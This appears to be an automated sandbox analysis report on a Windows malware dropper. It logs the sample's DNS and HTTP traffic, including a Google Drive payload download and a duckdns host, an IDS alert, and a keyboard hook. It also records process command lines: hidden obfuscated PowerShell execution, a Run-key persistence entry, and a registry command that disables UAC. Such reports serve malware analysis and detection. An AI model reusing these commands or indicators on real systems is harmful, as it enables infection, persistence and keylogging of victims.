Source: unknown

DNS query: name: a458386d9.duckdns.org

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.7:49726 -> 142.250.184.238:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: a458386d9.duckdns.org

Source: svchost.exe, 0000001A.00000002.2506873908.0000014BA0400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.26.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.26.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 0000000A.00000002.2005526525.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000A.00000002.2003170907.0000000004B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://s.symcd.com06
Source: powershell.exe, 0000000A.00000002.2003170907.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Amcache.hve.33.dr	String found in binary or memory: http://upx.sf.net
Source: powershell.exe, 0000000A.00000002.2003170907.0000000004B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.2003170907.00000000049D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 0000000A.00000002.2005526525.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000A.00000002.2005526525.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000A.00000002.2005526525.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: powershell.exe, 0000000A.00000002.2009656049.0000000008179000.00000004.00000020.00020000.00000000.sdmp, anziOUzZJs.exe, Partivarerne.scr.10.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: powershell.exe, 0000000A.00000002.2007087274.000000000715C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: powershell.exe, 0000000A.00000002.2007087274.000000000715C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com//
Source: powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2010246217.0000000008330000.00000004.00001000.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2007087274.000000000715C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I
Source: powershell.exe, 0000000A.00000002.2007087274.00000000070D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2002199771.0000000002BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: powershell.exe, 0000000A.00000002.2002199771.0000000002BAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/1$T
Source: powershell.exe, 0000000A.00000002.2007087274.000000000719E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2007087274.00000000071B0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2009656049.00000000080D0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2007087274.000000000715C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=12MtvGq1mcjx6u74x3n7vw_RWb57_mB-I&export=download
Source: edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000001A.00000003.1875644629.0000014BA02D0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.26.dr, edb.log.26.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 0000000A.00000002.2003170907.0000000004B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 0000000A.00000002.2005526525.0000000005A3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: qmgr.db.26.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:

Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.181.225:443 -> 192.168.2.7:49729 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Windows user hook set: 0 keyboard low level C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Users\user\Desktop\anziOUzZJs.exe	Code function: 0_2_00406344	0_2_00406344
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Code function: 0_2_0040488F	0_2_0040488F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_02C9EFF8	10_2_02C9EFF8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_02C9F8C8	10_2_02C9F8C8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_02C9ECB0	10_2_02C9ECB0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_0720BC18	10_2_0720BC18

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3964:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7800

Source: unknown	Process created: C:\Users\user\Desktop\anziOUzZJs.exe "C:\Users\user\Desktop\anziOUzZJs.exe"
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7800 -s 3448
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7800 -s 2384
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -windowstyle hidden "$Mitokoromono=Get-Content 'C:\Users\user~1\AppData\Local\Temp\Servicebureauet\aloe\Ruralt.Tea';$Advokatfuldmgtigs=$Mitokoromono.SubString(69838,3);.$Advokatfuldmgtigs($Mitokoromono)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preferentialist" /t REG_EXPAND_SZ /d "%Therapeutic% -windowstyle minimized $Terrain=(Get-ItemProperty -Path 'HKCU:\Corycia\').mandskaber;%Therapeutic% ($Terrain)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f	Jump to behavior

Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\anziOUzZJs.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
